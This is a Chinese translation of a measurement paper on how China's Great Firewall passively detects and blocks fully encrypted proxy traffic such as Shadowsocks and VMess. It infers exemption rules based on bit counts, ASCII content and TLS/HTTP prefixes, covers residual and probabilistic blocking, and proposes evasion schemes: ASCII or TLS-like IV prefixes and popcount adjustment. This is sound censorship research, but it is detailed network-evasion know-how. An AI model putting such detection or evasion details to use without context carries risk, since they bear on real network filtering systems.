完全加密的翻墙协议是翻墙生态系统中的基石。不同于像TLS这样的协议以明文握手开始,完全加密(随机化)的协议--如VMess 、Shadowsocks 和Obfs4 --被设计成连接中的每个字节都与随机数据没有区别。这些 协议的设计理念是:它们应该很难被审查者抓住特征,因此阻断的成本很高。
2021年11月6日,开始有大量来自中国的互联网用户报告说他们的Shadowsocks和VMess服务器被封锁。 11月8日,一个Outline 开发者报告说来自中国的使用量突然下降。这次封锁的开始时间恰逢2021年11月8日至11日召开的中国共产党第十九届中央委员会第六次全体会议 。能够封锁这些翻墙工具代表中国的防火长城(GFW)探测能力上了一个新的台阶。据我们所知,虽然中国自2019年5月以来一直在采用被动流量分析和主动探测相结合的方式来识别Shadowsocks服务器,但这是审查者第一次能够仅基于被动流量分析,就实时地大规模封锁完全加密的代理。
在这项工作中,我们对GFW被动检测和封锁全加密流量的新系统进行了测量和描述。我们发现,审查者应用了至少五条粗糙但高效的规则来豁免那些不太可能是完全加密的流量;然后,它阻止其余未豁免的流量。这些豁免规则基于常见的协议指纹、以及第一个TCP数据包的有效数据包中ASCII字符的比例、位置和最大连续数。
我们还分析了这种新形式的被动封锁与GFW广为人知的主动探测系统 之间的关系:二者是独立运行的。我们同时还发现,主动探测系统也依赖于这种流量分析算法,并额外应用了一条基于数据包长度的豁免规则。因此,能够逃避这种新的封锁的规避策略,也可以帮助防止GFW识别并随后主动探测代理服务器。
将混淆翻墙流量的方法可大致分为两类:隐写(steganography)和多态(polymorphism) 。隐写代理的目标是使翻墙流量看起来像像正常的流量一样;多态的目标是使翻墙流量看起来不像应该被禁止的流量。
实现隐写的两种最常见的方法是模仿(mimicking)和隧道传输(tunneling)。其中模仿类协议有着根本性的缺陷,因为将原始流量通过被允许的协议进行隧道传输是一种更抗封锁的方法。但即使使用隧道传输,翻墙软件的设计者仍然需要额外的努力让翻墙协议的指纹与流行的实现方式的指纹保持完全一致,以避免受到基于协议指纹的封锁。例如,在2012年,中国和埃塞俄比亚部署了深度包检测系统,通过Tor使用的不常见的密码套件来检测Tor流量 。审查设备供应商之前已经根据meek发出的TLS指纹和SNI值来识别并封锁它了 。
为了避免这种复杂性,许多流行的翻墙软件选择了多态的设计。实现多态性的一个常见方法是,从连接中的第一个数据包开始,就对其有效数据包进行完全加密。由于没有任何明文或固定的包头结构指纹,审查者没办法简单地使用正则表达式或通过寻找流量中的特定模式来识别代理流量。这种设计在2009年首次被引入Obfuscated OpenSSH。此后,Obfsproxy 、Shadowsocks、Outline、VMess、ScrambleSuit 、Obfs4 都采用了这种设计。而 Geph4、Lantern 、Psiphon3 和 Conjure 也部分采用这种设计。
完全加密的流量经常被称为“看起来什么都不像”的流量,又或者被误解为“没有特征”;然而,更准确的描述应该是"看起来像随机数据"。事实上,这种流量确实有一个使其与其他流量不同的重要特点:完全加密的流量与随机流量是无法区分的。由于没有可识别的协议头,整个连接中的流量都是均匀且高熵的,甚至从第一个数据包中就已经如此。相比之下,即使像TLS这样的加密协议也还有相对低熵的握手包,用以传达支持的版本和扩展。
在主动探测攻击中,审查者向被怀疑的服务器发送精心制作的有效数据包,并测量它的反应。如果服务器以与众不同的方式回应这些探测(例如让审查者将其作为代理使用),审查者就可以识别并封锁它。 早在2011年8月,人们就观察到GFW向接受过来自中国的SSH登录的外国SSH服务器发送看似随机的有效数据包 。2012年,GFW首先寻找一个独特的TLS密码来怀疑Tor流量;然后向可疑的服务器发送主动探测,以确认其猜测。2015年,Ensafi等人对GFW针对各种协议的主动探测攻击进行了详细分析 。自2019年5月起,中国部署了一个审查系统,分两步检测和封锁Shadowsocks服务器:它首先使用每个连接中第一个数据包有效数据包的长度和熵来被动地识别可能的Shadowsocks流量,然后在分阶段地向可疑的服务器发送各种探针,以确认其猜测 。作为回应,研究人员提出了各种针对主动探测攻击的防御措施,包括让服务器对各种连接的反应保持一致 和应用前置 。 Shadowsocks、Outline和V2Ray都采用了防主动探测的设计 ,使得它们自2020年9月以来在中国就没再被封锁过 ,直到最近在2021年11月被再次封锁 。
我们在中国境内外的主机之间制作并发送各种测试探针,让它们被GFW观察到。我们在两个端点主机上抓包并比较流量,来观察GFW的反应。这种记录使我们能够识别任何被丢弃或被操纵的数据包,包括主动探测。
实验时间线和实验节点。
我们在上表中总结了所有主要实验的时间线和所使用的实验节点。我们总共使用了腾讯云北京(AS45090)的10台VPS和阿里云北京(AS37963)的1台VPS。 我们没有观察到中国境内的实验节点或任何受影响的国外节点之间的审查行为有任何差异。我们使用了Digital Ocean旧金山(AS14061)的四台VPS:其中三台受到了新审查机制的影响,剩下一台则没有受到影响。我们根据IP2Location数据库 检查了我们的VPS的IP地址,并确认它们的地理位置与供应商所报告的位置相符。
触发审查制度。
因为外界观察者是无法区分完全加密的流量与随机数据的,所以除了使用实际的翻墙工具外,我们还开发了测量工具用来在我们的研究中发送随机数据以触发封锁。这些工具完成一个TCP握手后,会发送一个给定长度的随机有效数据包,然后关闭连接。
使用残留审查(residual censorship)来确认封锁。
与GFW封锁许多其他协议的方式类似,在一个连接触发审查后,GFW会阻止所有具有相同客户端IP、服务器IP、服务器端口的后续连接180秒。这种残留审查允许我们通过从同一客户端发送后续连接到服务器的同一端口来确认封锁。我们逐一进行共计五次的TCP连接,中间有一秒钟的时间间隔。如果五次连接都失败了,我们就得出结论,这个连接被封锁了。如果一个连接被封锁,我们在接下来的180秒内不会再使用它进行进一步的测试。
对重复测试的概率阻断进行计算。
我们经常要用相同的有效数据包进行多次连接,才能观察到封锁。在第6.3节中,我们解释了这是因为GFW采用了一种概率阻断策略,大约只有四分之一的概率触发审查。为了减少这种概率行为造成的测量误差,我们在对任何一次阻断(或不阻断)的观察下判断之前,都要发送最多25次有着相同有效数据包的连接。如果我们能够连续成功地用相同的有效数据包进行25次连接,那么我们就得出结论,该有效数据包(或服务器)不受这种新审查的影响。如果在至少发送一次有效数据包后,随后的5次连接尝试都(由于残留审查而)超时了,那么我们就将有效数据包(和服务器)标记为受到了新的审查的影响。在整个研究过程中,我们对所有有效数据包的测试,都采用了这种重复连接的方法。
我们观察到,为1的比特数影响了一个连接是否被阻断。为了确定这一点,我们向服务器重复发送连接,并观察哪些连接被阻止。在每个连接中,我们发送256个不同的字节模式中的一个,由1个字节重复100次组成(例如,\x00\x00\x00...,\x01\x01\x01...,...,\xff\xff\xff...)。 我们对每个模式都发送25次包含这一模式的连接到我们的服务器,并观察是否有任何模式导致后续连接被阻断。如果有某个连接被阻断,则表明它的有效数据包触发了审查。我们发现共有40个字节的模式触发了封锁,而其余216个模式没有。 被封锁的模式例子包括\x0f\x0f...,\x17\x17\x17...,和\x1b\x1b\x1b...(以及其他37个)。
所有被阻断的模式的每个字节的八位比特中都恰好有4位是1比特(例如,二进制的\x1b是00011011)。 我们猜想每个字节的1比特的数量可能起作用,因为均匀的随机数据将有接近相同数量的二进制的0比特和1比特。实质上,这是在测量客户端数据包内的比特的熵。
我们发送这样的字节组合来确认这一猜想:组合中的每种字节单独发送都被允许,但组合起来发送就会被禁止。例如,\xfe\xfe\xfe...和\x01\x01\x01...都没有被单独封锁,但这些字节作为\xfe\x01\xfe\x01...一起发送却被阻止。 我们注意到\xfe\x01的16位比特中有8位被设置为1(平均每个字节设置4个比特),而\xfe的8位比特中有7位被设置为1,\x01的8为比特中有1位被设置为1。这解释了为什么它们单独发送被允许,但组合起来发送就被阻止。
当然,随机或加密的数据不会总是正好有一半的比特被设置为1。我们通过发送一串50个随机字节(400比特),并设置了越来越多的比特为1的实验,来测试GFW需要多接近一半的比特才能阻断。 我们产生了401个比特串,其中有0-400个比特被设置为 1,并对每个字符串的比特位置进行洗牌,以产生一组随机字符串,每个字节设置0-8比特(以0.02比特/字节为增量)。对于每个字符串,我们发送25次连接含有它的连接,以观察它是否会引发后续连接的封锁。我们发现,所有具有3.4比特/字节的字符串都没有被封锁,而3.4至4.6比特/字节的字符串则被封锁了。
这其中有一个例外,那就是有一个4.26比特/字节集的字符串也没有被封锁。这是因为它有超过50%的字节是明文ASCII字符;我们接下来会介绍这是另一条豁免规则(Ex2)。我们重复了我们的实验,并确认其他具有相同1比特数但明文ASCII字符较少的字符串,确实被阻止了。
综上所述,我们发现,如果一个连接中,客户端的第一个数据包中1比特比例偏离一半,GFW就会豁免这个连接。这相当于对熵的粗略测量:随机(加密)数据z总有接近一半的比特被设置为1,而其他协议由于明文或有零填充的协议头,每字节的1比特数通常较少。例如,谷歌浏览器105版发送的TLS Client Hello包,由于用零填充,每字节平均只有1.56个1比特,属于豁免范围。
我们观察到在第4.1节中发现的比特计数规则有几个例外。例如,模式\x4b\x4b\x4b...没有被封锁,尽管每个字节正好设置了4位。事实上,实际上有70个字节(8选4)正好有4位为1比特,但是我们的分析发现,其中只有40个触发了审查。那另外30个呢?
这另外30个字节的值都属于明文ASCII字符的字节范围,即0x20-0x7e。 我们推测,GFW豁免这些字符可能是为了允许明文的人类可读协议。
我们发现,GFW有三种关于明文ASCII字符的豁免方式,都是基于连接中客户端发送的第一个数据包的有效数据包:如果前六个字节是明文(Ex2);如果超过一半的字节是明文(Ex3);或者如果它包含超过20个连续的明文字节(Ex4),则允许连接。
前六个字节是明文(Ex2)
我们观察到,如果一个连接的前6个字节在明文字节范围0x20-0x7e内,那么GFW就会豁免该连接。如果前6个字节中有超出这个范围的字符,那么连接就可能会被阻止,前提是它没有符合其他豁免的规则(例如,每个字节集有少于3.4位的1比特)。 我们通过生成不同有效数据包进行测试,其中前n字节来自不同的字符集(如明文ASCII字符),而消息的其余分部将是随机的非明文字符。 我们观察到,对于n<6
,连接被阻断,但对于n>=6
,即前n字节都是明文ASCII字符时,没有发生阻断。
第一个数据包有一半的有效数据包是明文(Ex3)
如果第一个数据包的有效数据包中超过一半的字节属于明文ASCII范围0x20-0x7e,那么GFW就会豁免该连接。 我们通过构造并发送这样的有效数据包来测试:其前10字节由明文ASCII范围以外的字符组成(例如0xe8),然后是一个6个字节的重复序列:5个在这个明文范围内(如0x4b),而最后一个在明文范围外。我们重复这个6字节的序列5次,然后在字符串的末尾用明文范围外的n个字节来填充。 这个实验给我们一个可变长度的模式,随着我们增加n,明文ASCII范围内的字节的比例减少了。 我们发现,对于 n<10
,连接不会被阻断,而对于 n>=10
,连接会被阻断。 这相当于当明文字符的比例小于或等于一半时被阻断,而当大于一半时不被阻断。
我们设计这样的有效数据包是为了避免触发其他GFW豁免规则,例如比特比例(Ex1)、明文前缀(Ex2)或连续的明文字符(Ex4)。 例如,我们分别使用 0x4b和0xe8 作为明文和不明文字符,因为它们都正好有4位的设置。 这可以防止GFW因为前面讨论过的1比特比例规则(Ex1)而豁免封锁我们的连接的情况。 此外,我们避免让明文字符0x4b连续出现,因为我们观察到这样的模式也能豁免封锁连接,这一点我们接下来会讨论。 我们用其他同样符合这些限制条件的模式(如0x8d和0x2e)重复了我们的实验,并观察到相同的结果。
一个明文字符的连续出现也可以免除封锁,即使明文字符的总比例不到一半。 为了测试这一点,我们发送了一个由明文范围以外的字符(0xe8)组成的100个字节的模式,以及来自明文范围的不同数量的连续字节(我们使用0x4b)。 我们的有效数据包从10个字节的0xe8开始,接着是n字节的0x4b,然后是90-n
字节的0xe8,总长度为100个字节。 我们让变量n在0-90之间变化,并把每个相同的数据包都向我们的服务器发送25次。 我们发现,对于 n<=20
,连接被阻断了。当 n>20
,连接没有被阻断。 这证明当有连续的明文ASCII字符出现时,连接会被豁免。 当然,当n>50
,连接也会被豁免,因为豁免规则Ex3。
为了避免误伤流行的协议,我们观察到GFW明确地豁免了两种流行的协议。 GFW似乎是用客户端数据包的前3-6个字节来推断协议:如果它们与已知协议的字节相匹配,连接就会被免除阻断,即使数据包的其余部分不符合该协议。我们测试了六种常见的协议,发现TLS和HTTP协议被明确地豁免了。这个豁免列表可能并不详尽,因为可能还有其他我们没有测试的豁免协议。
TLS。 TLS连接以TLS ClientHello消息开始,该消息的前三个字节会使GFW豁免连接。我们观察到,GFW豁免了任何前三个字节与以下正则表达式匹配的连接:
(\x16-\x17]\x03[\x00-\x09)
这对应于一个字节的记录类型(record type),后面是一个两字节的版本(version)。 我们列举了所有256个XX\x03\x03的模式,并在后面加上97个字节的随机数据。我们发现除了那些以0x16(对应TLS中的Handshake包,用于ClientHello)或0x17 (对应TLS中的应用数据类包(Application Data))开始的模式外,其他所有模式都被封锁。 虽然通常的TLS连接不会以应用数据开头 , 但当TLS被用于多路径TCP(MPTCP) 时, 常见的情况是,其中一个TCP子流被用于ClientHello,而其他子流在TCP连接建立后立即发送应用数据。 到目前为止,只有TLS的(0x00-0x03) 版本被定义 ,但GFW甚至允许更晚的(尚未定义)版本。
HTTP。 审查者用来识别HTTP流量的字节模式很简单,就是在HTTP请求方法的后面跟有一个空格。如果一个信息以GET、PUT、POST或HEAD开头,那么这个连接就会被免于阻断。每个请求方法的后面的空格字符(0x20)是让连接免于屏蔽的必要条件。如果不包括这个空格字符,或用任何其他字节代替它,就不能豁免连接。其他的HTTP请求方式(OPTIONS, DELETE, CONNECT, TRACE, PATCH)均因为前6个字节是明文字符,而已经满足明文豁免规则(Ex2)。同时,我们发现HTTP请求方法是不区分大小写的:GeT、get和类似的变体都可以使连接被豁免。请求方式的错误拼写(例如,TEG)不属于豁免范围。
不被豁免的协议。 我们测试了其他常见的协议:SSH、SMTP和FTP将被豁免,因为它们都以至少6个字节的明文SCII开头(规则Ex2)。DNS-over-TCP由于包含很大一部分的零,使得它被Ex1规则豁免。然而,如果在DNS-over-TCP消息后附加足够多的随机数据,它将被阻止。
上面观察到的现象让大家提出了一个问题:为什么审查者使用明确的规则来豁免TLS和HTTP,而不是其他协议。 毕竟,审查者不需要明确地豁免这两种协议:HTTP通常会都满足前6个字节为明文SCII的豁免规则(Ex2),而TLS ClientHello包由于有许多零字段,其也会因位数熵相对较低而满足Ex1豁免规则。也许这是因为审查者可以采用这些简单而高效的规则来快速地豁免大部分的网络流量(TLS和HTTP),而不需要进行如计算数据包中1比特的比例、明文SCII的比例等更深入的分析。
一旦GFW检测到完全加密的流量,就会按照下面介绍的方式阻断后续流量。
丢弃从客户端到服务器的数据包。 我们先触发GFW的阻断,然后比较在客户端和服务器捕获的数据包。我们观察到,在触发审查后,客户端的数据包被GFW丢弃,并没有到达服务器。然而,服务器发送的数据包没有被阻断,客户端仍然可以收到。
UDP流量不受影响。 新的审查系统只限于TCP。发送一个具有随机有效数据包的UDP不能触发审查。此外,即使某个具有相同客户端IP、服务器IP、服务器端口的连接由于TCP连接而被封锁,往来于同一(服务器IP、服务器端口)的UDP数据包也不受影响。由于没有UDP拦截,用户在使用Shadowsocks时可能会遇到奇怪的现象:他们仍然可以使用某些依赖UDP的网站或应用程序(如QUIC或FaceTime),但无法访问使用TCP的网站。这是因为Shadowsocks用TCP代理TCP流量,用UDP代理UDP流量。审查者不检测或阻止UDP流量,可能反映了其更糟就是更好(worse is better)的工程思维。从实际情况来看,目前的TCP封锁已经足够有效地让这些流行的翻墙工具瘫痪,而如果增加UDP审查,则需要额外的资源,并给审查系统引入额外的复杂性。
所有端口的流量都可能被阻断。 我们在美国建立了一个监听在所有端口(从1到65535)的服务器。然后,我们让中国的客户端不断地用50字节的随机有效数据包与美国服务器的每个端口进行连接,并在某个端口被封锁后停止反复地连接这一端口。我们发现,从1到65535的所有端口都可能被封锁。因此,在一个不寻常的端口上运行翻墙服务器并不能缓解封锁。我们也没有观察到使用不同端口会导致不同的审查行为。
GFW存在残留审查(residual censorship)
我们发现,这个新的审查系统一旦阻断了一个连接,它就会在后续的120或180秒内继续丢弃所有具有相同客户端IP、服务器IP、服务器端口的TCP数据包。这种行为通常被称为“残留审查”。与其他一些残留审查系统不同 ,GFW的残留审查定时器不会在观察到更多触发审查的数据包后被重置。
我们还发现,GFW似乎限制了它在任何给定时间内残留审查的连接的数量。我们让中国的客户端重复性地同时连接到一个服务器的500个端口。在每个连接中,客户端发送50字节的随机数据,然后关闭连接。我们记录了每次发生残留审查的持续时长。如上图所示,与只有一个端口被封锁时的180秒持续时间相比,该实验中的残留审查持续时间大幅下降。
在这一节中,我们将研究GFW的新审查系统是如何重新组合流量,并考虑流量方向。
一个完整的TCP握手是必要的。 我们观察到,发送一个SYN包,然后再发送一个包含随机数据的PSH+ACK包(在服务器没有完成握手的情况下),并不足以触发阻断。这样的残留审查更难被攻击者利用。
只有客户端到服务器的数据包可以触发阻断。 我们发现,GFW不仅检查随机数据是否被发送到属于受影响的IP范围内的目标IP地址,而且还检查并只在随机数据从客户端发送到服务器时才进行阻断。这里的服务器是指在TCP握手过程中发送SYN+ACK的主机。
我们通过在两台主机之间设置的四个实验来了解这一点。在第一个实验中,我们让在中国的客户端连接并向美国服务器发送随机数据;在第二个实验中,我们仍然让中国的客户端连接到美国服务器,但让美国服务器向客户端发送随机数据;在第三个实验中,我们让美国的客户端连接并向中国服务器发送随机数据;在第四个实验中,我们让美国的客户端连接到中国服务器,但随后让中国服务器向美国客户端发送随机数据。只有第一个实验中的连接被封锁了。
GFW只检查第一个数据包。 GFW似乎只分析TCP连接中的第一个数据包,而不对有多个数据包的流量进行重新组合。我们通过以下实验来测试这一点。在TCP握手后,我们发送第一个数据包,其中只有一个字节的有效数据包 \x21。在等待一秒钟后,我们再发送带有200字节随机有效数据包的第二个数据包。我们重复了25次实验,但连接从未被封锁。 这是因为在看到第一个数据包后,GFW已经通过规则Ex1豁免了连接,因为它的有效数据包中包含100%明文ASCII。换句话说,如果GFW在其流量分析过程中把多个数据包重新组合成一个流,它就能够阻止这些连接。
我们发现,GFW不会等到看到服务器的ACK响应时才去阻止一个连接。我们用一个iptables规则将我们的服务器配置为放弃任何传出的ACK数据包。然后我们用200字节的随机有效数据包与服务器建立连接。尽管服务器没有发送任何ACK数据包,GFW仍然阻止了这些连接。
GFW对第一个数据包等待时间超过了5分钟。 我们研究了GFW会在TCP握手之后,但在看到第一个数据包之前,对一个TCP连接进行了多长时间的监控。根据观察,它需要一个完整的TCP握手来触发封锁,我们因此推断GFW可能是有状态的。因此,我们有理由怀疑GFW只在有限的时间内监控一个连接,因为要永久追踪一个连接的状态而不放弃的开销很大。
我们的客户端完成了TCP握手,然后等待了100秒、180秒或300秒,然后发送200字节的随机数据。接着,我们重复了这个实验,但使用iptables规则丢弃了任何RST或TCP keepalive数据包,以防它们帮助GFW保持对连接的追踪。 我们发现这些连接仍然触发了阻断,这表明GFW对连接状态的追踪至少有5分钟。
正如第2.2节所介绍的,GFW自2019年以来一直在向Shadowsocks服务器发送主动探测探针。在这一节中,我们研究了这个新发现的实时阻断系统和已知的主动探测系统之间的关系。通过测量实验和对历史数据集的分析,我们发现,虽然这两个审查系统并行工作,但主动探测系统的流量分析模块应用了上述总结的所有五条豁免规则,并且还用一条额外的规则,来检查第一个数据包的有效数据包长度。我们还表明,主动探测系统使用的流量分析算法可能自2019年以来有所进化。
主动探测实验。 在部署这个新的实时阻断系统之前,从外界推断主动探测系统的流量分析算法,是极具挑战性的。这是因为GFW在看到触发连接和发送主动探测之间设置了一个任意长度的延迟 。这就使得我们很难说明GFW的哪些探测是由我们发送的哪些连接触发的。现在我们已经在第4节中推断出了这个新的阻断系统的流量检测规则列表,我们可以测试被豁免的有效数据包是否也不会被主动探测系统所怀疑。
我们在2022年5月19日和6月8日之间进行了实验。如表2所示,我们制作了14种不同类型的有效数据包:其中3种是长度为2、50和200字节的随机数据;其余11种是具有不同长度的数据,这些数据仅能被算法1中的某一个豁免规则豁免。然后,我们从中国北京腾讯云的一个VPS向美国旧金山DigitalOcean的两个不同主机的14个端口,发送了14种有效数据包。其中一台美国主机已知受到当前阻断系统的影响,而另一台美国主机则不受影响。这样,如果我们收到来自GFW的任何探测,我们就知道当前封锁系统使用的某些豁免规则没有被主动探测系统使用。
我们在中国的客户端总共向两台美国服务器的每个端口发送了约17万次连接。然后我们采取措施,将来自GFW的主动探测与其他互联网扫描探测隔离开。我们根据IP2Location数据库和AbuseIPDB 检查每个探测的源IP地址。如果它是一个非中国的IP或者来自一个已知的被用来扫描的IP地址,我们就不认为它是来自GFW的主动探测。我们进一步检查并确认该探针是否属于GFW发送的任何已知类型的探针。
这两个系统独立工作。 新的审查机器纯粹是根据被动流量分析做出封杀决定,而不依赖中国主动探测基础设施。我们之所以知道这一点,是因为虽然GFW仍然向服务器发送主动探测,但在超过99%的测试中,GFW在封锁一个连接之前没有向服务器发送过任何主动探测。举个例子,如上表所总结的,我们进行了33119次连接,但只收到179次主动探测。事实上,与之前的工作的发现相似,主动探测很少被触发。
我们想强调的是,这一发现并不意味着对主动探测的防御没有必要或不再重要。恰恰相反,我们认为GFW对纯被动流量分析的依赖,部分原因是Shadowsocks、Outline、VMess和其他许多翻墙软件已经对主动探测采取了有效的防御措施。GFW仍然向服务器发送主动探测这一事实,意味着审查者仍然试图使用主动探测,尽可能准确地识别翻墙服务器。
主动探测系统对可疑流量应用了五条豁免规则,并增加了一条基于数据包长度的豁免规则。 这个实验表明了两点。首先,主动探测系统应用一个额外的规则来检查连接中的有效数据包的长度。在我们的案例中,只有200字节有效数据包的连接曾经触发了主动探测,而2字节或50字节的连接则从来没有。其次,如果流量符合的五条豁免规则中的任何一条,那么该流量也不会触发主动探测系统。
自2019年以来,主动探测系统已经有所发展。 我们想知道GFW的检测规则是否曾经被用来触发主动探测。为了分析它,我们收集了282个能触发GFW主动探测的数据包然后我们写了一个程序来确定一个有效数据包是否会被当前的阻断系统豁免,并将获得的282个有效数据包输入该程序。结果,以前触发主动探测的45个探测被豁免了(根据规则Ex3)。2022年5月19日,我们反复发送这45个有效数据包,让它们被GFW看到,并确认它们确实被当前的阻断系统豁免了。对于每个有效数据包,我们用它从腾讯云北京的VPS到Digital Ocean旧金山的水槽服务器进行了25次连接。 这个结果表明, 自2020年以来,GFW很可能已经更新了其主动探测系统的流量分析模块。此外,目前GFW发送的探针也与2020年观察到的探针不同 。 新的探针基本上是随机有效数据包,分别以16、64和256字节为中位数的分布。对于这些长度中的每一个,GFW发送的探针数量大致相同:一台服务器收到了48、46和47个探针,另一台收到了238、228和233个探针。
在本节中,我们进行了测量实验,以确定审查者的封锁策略。我们发现,可能是为了减少误报和降低运营成本,审查者策略性地将封锁范围限制在热门数据中心的特定IP范围内,并对发往这些IP范围的所有连接采用概率性封堵策略,封锁率大约为26%。
2022年5月12日,我们从位于美国的服务器上对互联网上10%的IPv4地址的TCP 80端口进行了扫描。按照前人工作中,如何识别在互联网扫描中发现不可靠主机的方法 ,我们排除了那些TCP响应窗口为0的服务器(因为我们无法向他们发送数据),以及不接受后续连接的IP地址。这就给我们留下了700万个可扫描的IP地址。然后,我们将这700万个IP地址随机平均分成九个组,并将每组分配到腾讯云北京数据中心的九个实验节点上。然后,我们将一个我们编写的测量程序安装在所有九个实验节点上,并用它进行实验。对于每个IP,该程序连续连接到其80端口,最多25次,每次连接间有一秒钟的间隔。在每个连接中,我们发送相同的50个字节的随机的、可以触发封锁的数据。如果我们在发送数据后看到连续5次连接超时(连接失败),我们就将该IP标记为受影响新审查系统的影响。 反之,如果所有25次连接都成功,我们则将该IP标记为未受到影响。我们将完全无法连接的IP标记为未知(例如,服务器关闭,或者与GFW无关的网络故障使我们无法首先连接)。
我们还重复了这个过程,但发送了50个字节的\x00,这个数据包并会不触发GFW的封锁。如果一个服务器在这个测试中也被标记为受到影响,那这很可能是由于服务器封锁了我们的连接,而不是GFW封锁的。我们从受到影响的IP结果中排除这些IP。这样就只剩下600多万个IP了。
最后,我们排除了可能是由于间歇性网络故障或不可靠的有利条件造成的 "模棱两可 "的结果。 具体来说,我们排除了那些被我们的随机数据包或全零数据包扫描标记为未知(我们从未能够连接),或有间歇性连接超时(例如,几个连接超时,但不是连续的5个)的IP。这就留下了550万个我们可以很容易地将其标记为不受影响(所有25个连接都成功了)或受影响(在某些时候,在我们发送随机数据后,它似乎被封锁了)的IP地址。
在经过处理的550万个IP中,98%的IP地址没有受到GFW封锁的影响,这表明中国在采用这种新的审查系统时是相当保守的。我们使用pyasn以及2022年4月的AS数据库,将这550万个IP地址归入其分配的IP前缀和AS中。 对于大于/20的IP前缀,我们将其分成每/20前缀一组,以保持分配的大小大致相同。我们的550万个IP包括了538个至少有5个测量结果的AS,其中绝大多数基本不受GFW的阻断影响。
下图显示了受影响的自治系统(AS)和/20 IP前缀的分布情况。我们发现,90%以上的AS是以全有或全无的方式受到影响的:要么我们在AS中测试的所有IP地址都受到GFW的阻断影响,要么我们在AS中测试的所有IP地址都没有受到影响。我们还观察到,只有少数AS受到影响:超过95%的AS被观察到只有不到10%的IP地址受到影响,只有7个AS被观察到其中有超过30%的IP地址受到了影响。
下图显示了受影响最大的AS。虽然测量结果偏向于显示较大规模的AS(因为在我们的扫描中占有更多的IP),但它显示了受到严重影响的AS(例如,阿里巴巴美国,Constant)和未受影响的AS(Akamai,Cloudflare)。此外,一些AS既有受影响的IP前缀,也有不受影响的IP前缀(亚马逊、Digital OCean、Linode)。我们看到的所有受影响或部分受影响的AS都是受欢迎的,可用于托管代理服务器的VPS供应商。而未受影响的大型AS通常不向个人客户出售VPS主机(如CDN)
正如第3节所介绍的,在得出任何关于封锁的结论之前,我们发送最多25次具有相同有效数据包的连接。这是必要的,因为审查者仅是有概率地实行封锁的。换句话说,仅仅向受影响的服务器发送一次随机的有效数据包,只是有时会触发阻断;但是,如果一个人不断向受影响的服务器发送相同有效数据包的连接,那么阻断终会发生。这就产生了一个疑问:一个连接被封锁的概率是多少?以及为什么审查者只是有概率地实行封锁?
估计封锁概率。 在我们对10%的互联网的扫描中(第6.2节)),有109,489个IP地址被我们标记为受到封锁影响。如第5节所示,在被封锁之前,我们可以与每个IP地址进行成功的随机数据连接的数量分布符合一个几何分布。这个结果表明,对每次连接的阻断是独立的,概率大约为26.3% 。
为什么采用概率封锁。 我们猜想,审查者采用概率封锁可能有两个原因:首先,它允许审查者只检查四分之一的连接,减少计算资源。第二,它帮助审查者减少对非翻墙连接的误伤。虽然这种减少也是以降低审查成功率为代价的,但残留审查可能弥补了这一点:一旦一个连接被封锁,其随后的连接也会被封锁数分钟。这使得翻墙流量一旦被发现就很难再成功连接。这也可能进一步支持了之前的说法,即审查者更重视降低检测中的错误阻断概率,而不执着于极高的审查成功率。
豁免规则Ex2和Ex5只查看连接中的前几个字节。这样做能让GFW高效地豁免不是完全加密的流量;但这样的做法同时也使其可以被用来规避检测。具体来说,我们建议在(翻墙)连接的第一个数据包的有效载荷上预置一个可定制的前缀。
可定制的IV头。 Shadowsocks连接以初始化向量(IV)开始,根据加密方式的不同,其长度为16或32字节。正如第4.2节所介绍的,将IV的前6个(或更多)字节变成明文ASCII,将使这些连接被Ex2规则豁免。同样,将IV的前3、4或5个字节变成普通协议头,将使连接被Ex5规则豁免(例如,将IV的前3个字节变成0x16 0x03 0x03)。这些对策只需对客户端进行很小的改动,而对服务器没有任何改动,因此已经被许多流行的翻墙工具所采用。将32字节IV的前几个字节限制为明文ASCII,不会将其随机性降低到影响加密安全性的程度。例如,即使将前6个字节固定为某个明文ASCII,IV中仍然有26个随机字节,这仍然比典型的16字节IV的随机性要大。
局限性。 这是一个权宜之计,有可能被审查者很容易地阻止。审查者可能会跳过前几个字节,将检测规则应用于连接中的其余数据。协议模仿在实践中也很困难 [39]。审查者可以执行更严格的检测规则,或对服务器进行主动探测,以检查它是否真的在运行TLS或HTTP。然而,这一策略在自2022年1月被许多流行的翻墙工具采用后,直到目前的2023年2月仍然有效。这一事实强调了即使是简单的应对方案也能有效对抗资源有限的审查者 。
正如第4.1节所介绍的,如果一个连接的第一个数据包每字节的1比特数量的平均值(popcount)小于等于3.4或大于等于4.6(Ex1),GFW就会豁免该连接。基于这一观察,人们可以通过在数据包中插入额外的1(或者0)来增加(减少)popcount,以绕过封锁。我们设计并分析了一个灵活的方案,它可以将每字节的popcount改变为任何给定的值或范围。
从一个高度概括的层面看,我们把原始的完全加密的数据包作为输入:通过只对密文进行操作,我们无需承担其保密性被破坏的风险。当发送一个数据包时,我们首先计算其每字节的平均popcount;如果该值大于4,那么我们计算我们必须向数据包中添加多少个1比特,以获得一个超过4.6popcount的载荷。反之,如果popcount小于4,那么我们要计算要增加多少个0比特才能使popcount减少到3.4以下。在任何一种情况下,我们在原始密文中添加必要数量的1比特或0比特,然后添加4个字节,表示所添加的比特数,最终给我们一个比特串B,使其每字节的popcount值会被豁免。
当然,简单地添加1或0会很容易产生协议指纹。为了解决这个问题,我们进行比特级的随机重新排序。特别是,我们利用现有的共享秘密,如密码,作为一个种子,以确定的方式构建一个置换向量。在每个连接中,我们更新这个排列向量,并在发送前用它来对比特串B中的所有比特重新排序。为了解码,接收方首先更新排列向量,然后用它来还原对比特串的排序;然后读取最后4个字节来确定增加的比特数,删除该比特数,从而能够恢复原来的(完全加密)数据包。
在实践中,我们额外采取了两个步骤来进一步混淆流量。因为如果所有的连接都共享相同的平均字节popcount值,那这是就会成为一个明显的指纹,所以我们将popcount的目标值设置为一个可参数化的范围。其次,由于明文的4字节长度标签可能成为一个指纹,所以我们对其进行加密(与这些翻墙工具对代理流量进行加密的方式相同)。
这个方案有几个优点。首先,该方案支持可参数化地调整平均每字节popcount的值,以防GFW更新其popcount规则来缩小被豁免的popcount范围。其次,由于它的精心设计,没有明显的指纹会向审查者发出信号,表明这是一个经过popcount调整的数据包。最后,它的流量开销很低;它只添加严格需要数量的1(或0)比特。在最坏的情况下,即把popcount从4增加到4.6,这只产生了大约17.6%的额外开销。因此,它不仅可以应用于第一个数据包,还可以应用于连接中的每一个数据包。这样即使审查者在未来检测除第一个数据包以外的数据包,这一策略也仍然有效。
Great Firewall Report: How the Great Firewall of China Detects and Blocks Fully Encrypted Traffic
]]>被动分析 (流量特征, PoC漏洞)
常用于分析明文协议, 或者TLS握手
主动探测
